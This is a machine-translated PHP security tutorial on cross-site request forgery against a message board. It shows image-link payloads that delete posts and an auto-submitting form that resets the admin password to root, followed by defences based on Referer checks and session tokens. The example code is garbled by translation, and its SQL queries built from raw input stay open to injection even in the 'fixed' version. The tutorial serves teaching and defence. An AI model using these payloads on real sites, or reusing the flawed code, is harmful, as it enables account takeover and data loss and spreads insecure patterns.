PHP Vulnerability Full solution (vi)-cross-site request forgery

Last Update:2014-07-14 Source: Internet

Author: User

Tags vars administrator password

Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

This article mainly introduces the cross-site request forgery for PHP Web sites. In CSRF all attack modes include an attacker who forges an HTTP request that looks like another user initiated, in fact, tracking an HTTP request sent by a user is the attacker's purpose.

CSRF (Cross site request forgeries), which is intended to be spoofed across Web sites, is also written as XSRF. The attacker forges the HTTP request of the target user and then sends the request to a Web site with a CSRF vulnerability, which causes a cross-site request forgery attack after the Web site executes the request. The attacker uses a covert HTTP connection to allow the target user to click on the link without notice, because the user clicks on it, and the legitimate user has legal rights, so the target user can execute a specific HTTP link within the site to achieve the attacker's purpose.

For example, when buying a product on a shopping site, use the Http://www.shop.com/buy.php?item=watch&num=1,item parameter to determine what item to buy, num parameter determines the quantity to buy, If an attacker sends a link to a target user in a hidden way

, then if the target user is accidentally accessed, the number of purchases will be 1000

Instance

V1.0 Network PHP Message Board

Delete any message

delbook.php This page to delete messages

Include_once ("dlyz.php"); //dlyz.php user authentication permission, when the permission is admin, can delete message
Include_once (".. /conn.php ");
$del =$_get["del"];
$id =$_get["id"];
if ($del = ="Data")
{
$ID _dele= Implode (",",$_post[' Adid ');
$sql ="Delete from book where ID in (". $ID _dele. ")";
mysql_query ($sql);
}
Else
{
$sql ="Delete from book where id=". $id; //Pass the message ID to be deleted
mysql_query ($sql);
}
Mysql_close ($conn);
echo "";
echo "alert (' Delete succeeded! '); ";
echo "location= ' book.php ';";
echo "";
?>

When we have admin permission, we will delete the message with ID 2 when we submit http://localhost/manage/delbook.php?id=2.

How to use:

We use a regular user message (source code), the content is

"Delbook.php?id=2"/>
"Delbook.php?id=3"/>
"Delbook.php?id=4"/>
"Delbook.php?id=5"/>

Insert 4 Pictures link to delete 4 ID messages Separately, then we go back to the homepage to see, there is no change. The picture doesn't show.

Now we re-login with the administrator account, to refresh the home page, you will find a message left one, the other in the image link designated ID number of the message, all are deleted.

The attacker inserted a hidden picture link in the message, this link has the function of deleting the message, and the attacker's own access to these image links, is not a permission, so see no effect, but when the administrator login, check this message, will execute the hidden link, and his permission is large enough, So the messages were deleted.

Modify Administrator Password

pass.php
if ($_get["Act"])
{
$username =$_post["username"];
$sh =$_post["sh"];
$gg =$_post["GG"];
$title =$_post["title"];
$copyright =$_post["Copyright"]."
Design and production: Xiamen, the network Technology ";
$password =md5 ($_post["password"]);
if (emptyempty ($_post["password"]))
{
$sql ="Update gly set Username= '". $username. "', sh=." $sh.", gg= '". $gg. "', title= '". $title. "', copyright= '". $copyright. "' where id=1 ';
}
Else
{
$sql ="Update gly set Username= '". $username. "', password= '". $password. "', sh=." $sh.", gg= '". $gg. "', title= '". $title. "', copyright= '". $copyright. "' where id=1 ';
}
mysql_query ($sql);
Mysql_close ($conn);
echo "";
echo "alert (' modified successfully! '); ";
echo "location= ' pass.php ';";
echo "";
}

This file is used to modify some information about managing passwords and site settings, and we can directly construct the following form:

<body>
<form action="Http://localhost/manage/pass.php?act=xg" method="POST" name=" Form1 " id="Form1 ">
<input type= "Radio" value="1" name="sh">
<input type="Radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="online PHP message board V1.0 (with audit function)" >
<textarea name="GG" rows="6" cols="+" > Welcome you to install using the Network PHP message board V1.0 (with audit function)! textarea>
<textarea name="Copyright" rows="6" cols="a" > the network PHP message this V1.0 All rights reserved: Xiamen Fate Network Technology 2005-2009<br/> To undertake website construction and system customization provide preferential host domain name textarea>
form>
Body>

Save As attack.html and put it on your website http://www.sectop.com/ attack.html, this page after access will automatically submit parameters to the target program's pass.php, the user name is changed to root, the password is changed to root, and then we go to the message board to send a message, hide this link, management access, his user name and password all changed to root

Precautionary approach

It is more difficult to guard against csrf than to guard against other attacks, because CSRF HTTP requests are made by attackers, but they are issued by the target user, and there are a few common ways to prevent them:

1, check the source of the Web page

2. Check the built-in hidden variables

3, use post, do not use get

Check the page source

Add the following red font code to the//pass.php header to verify data submission

if ($_get["Act"])
{
if (Isset ($_server["Http_referer"))
{
$serverhost = $_server["SERVER_NAME"];
$strurl = str_replace ("http://","" ",$_server[" Http_referer "]);
$strdomain = Explode ("/",$strurl);
$sourcehost = $strdomain [0];
if (strncmp ($sourcehost, $serverhost, strlen ($serverhost)))
{
unset ($_post);
echo "";
echo "alert (' Data source exception! ');";
echo "location= ' index.php ';";
echo "";
}
}
$username =$_post["username"];
$sh =$_post["sh"];
$gg =$_post["GG"];
$title =$_post["title"];
$copyright =$_post["Copyright"]."
Design and production: Xiamen, the network Technology ";
$password =md5 ($_post["password"]);
if (emptyempty ($_post["password"]))
{
$sql ="Update gly set Username= '". $username. "', sh=." $sh.", gg= '". $gg. "', title= '". $title. "', copyright= '". $copyright. "' where id=1 ';
}
Else
{
$sql ="Update gly set Username= '". $username. "', password= '". $password. "', sh=." $sh.", gg= '". $gg. "', title= '". $title. "', copyright= '". $copyright. "' where id=1 ';
}
mysql_query ($sql);
Mysql_close ($conn);
echo "";
echo "alert (' modified successfully! '); ";
echo "location= ' pass.php ';";
echo "";
}

Check for built-in hidden variables

We built a hidden variable and a session variable in the form, and then checked whether the hidden variable and the session variable were equal to determine whether the same page was called

Php
Include_once ("dlyz.php");
Include_once (".. /conn.php ");
if ($_get["Act"])
{
if (!isset ($_session["post_id"))
{
Generate a unique ID and use MD5 to encrypt
$post_id = MD5 (uniqid (rand (), true));
Creating Session Variables
$_session["post_id"] = $post _id;
}
Check for equality
if (Isset ($_session["post_id"))
{
Not equal
if ($_session["post_id"]! = $_post["post_id"])
{
Clear Post variables
Unset ($_post);
echo "<script language= ' javascript '>";
echo "alert (' Data source exception! ');";
echo " location= ' index.php ';";
echo "script>";
}
}
......
<input type="reset" name= "Submit2" value="reset">
<input type="hidden" name="post_id" value= "php echo $_session[" post_id"];? > ">
TD>TR>
Table>
Form>
Php
}
Mysql_close ($conn);
?>
Body>
HTML>

Use post, do not use get

When passing form fields, be sure to use post, do not use GET, handle variables and do not use $_request directly

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

Sales Support

1 on 1 presale consultation

Chat Contact Sales
After-Sales Support

24/7 Technical Support 6 Free Tickets per Quarter Faster Response

Open a Ticket
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

Learn More